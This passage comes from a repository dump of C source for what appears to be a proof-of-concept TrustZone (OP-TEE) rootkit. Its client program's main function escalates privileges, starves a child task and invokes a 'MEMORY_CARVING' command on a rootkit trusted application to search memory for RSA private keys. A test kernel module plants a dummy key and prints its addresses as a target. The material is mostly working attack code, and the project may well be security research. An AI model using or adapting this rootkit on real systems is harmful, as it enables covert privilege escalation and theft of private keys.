!= TEEC_SUCCESS) 140 | warnx(1, "TEEC_InvokeCommand CHANGE_TASK_STATE failed with code 0x%x origin 0x%x", res, err_origin); 141 | 142 | printf("after\n"); 143 | monitor_file_mtime("/tmp/starving", NUM_STARVATION_CHECKS, 1000000); 144 | 145 | printf("child status:\n"); 146 | print_process_status(cpid); 147 | 148 | kill(cpid, SIGKILL); 149 | 150 | TEEC_CloseSession(&sess); 151 | TEEC_FinalizeContext(&ctx); 152 | } 153 | else 154 | { 155 | // Open file to monitor process activity. 156 | while (1) 157 | { 158 | FILE *f = fopen("/tmp/starving", "w"); 159 | fclose(f); 160 | } 161 | } 162 | } 163 | 164 | 165 | void find_rsa_keys() 166 | { 167 | TEEC_Result res; 168 | TEEC_Context ctx; 169 | TEEC_Session sess; 170 | TEEC_Operation op; 171 | TEEC_UUID uuid = ROOTKIT_TA_UUID; 172 | uint32_t err_origin; 173 | 174 | char signature_begin[] = "-----BEGIN RSA PRIVATE KEY-----"; 175 | char signature_end[] = "-----END RSA PRIVATE KEY-----"; 176 | 177 | res = TEEC_InitializeContext(NULL, &ctx); 178 | if (res != TEEC_SUCCESS) 179 | errx(1, "TEEC_InitializeContext failed with code 0x%x", res); 180 | 181 | res = TEEC_OpenSession(&ctx, &sess, &uuid, 182 | TEEC_LOGIN_PUBLIC, NULL, NULL, &err_origin); 183 | if (res != TEEC_SUCCESS) 184 | errx(1, "TEEC_Opensession failed with code 0x%x origin 0x%x", res, err_origin); 185 | 186 | memset(&op, 0, sizeof(TEEC_Operation)); 187 | op.params[0].tmpref.buffer = signature_begin; 188 | op.params[0].tmpref.size = strlen(signature_begin); 189 | op.params[1].tmpref.buffer = signature_end; 190 | op.params[1].tmpref.size = strlen(signature_end); 191 | op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INPUT, TEEC_MEMREF_TEMP_INPUT, TEEC_NONE, TEEC_NONE); 192 | 193 | res = TEEC_InvokeCommand(&sess, MEMORY_CARVING, &op, &err_origin); 194 | if (res != TEEC_SUCCESS) 195 | warnx(1, "TEEC_InvokeCommand MEMORY_CARVING failed with code 0x%x origin 0x%x", res, err_origin); 196 | 197 | TEEC_CloseSession(&sess); 198 | TEEC_FinalizeContext(&ctx); 199 | } 200 | 201 | 202 | int main(int argc, char *argv[]) 203 | { 204 | elevate_privileges(); 205 | starve_task(); 206 | find_rsa_keys(); 207 | return 0; 208 | } 209 | -------------------------------------------------------------------------------- /src/rootkit_driver/Makefile: -------------------------------------------------------------------------------- 1 | obj-y += rootkit_driver.o 2 | -------------------------------------------------------------------------------- /src/rootkit_driver/rootkit_driver.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | MODULE_LICENSE("GPL"); 4 | 5 | char key[] = "-----BEGIN RSA PRIVATE KEY----- kernel-test-key -----END RSA PRIVATE KEY-----"; 6 | 7 | static int __init rootkit_driver_init(void) { 8 | printk(KERN_INFO "rootkit test module loaded\n"); 9 | printk(KERN_INFO "key: %px %px\n", &key, virt_to_phys(&key)); 10 | return 0; 11 | } 12 | 13 | module_init(rootkit_driver_init); 14 | --------------------------------------------------------------------------------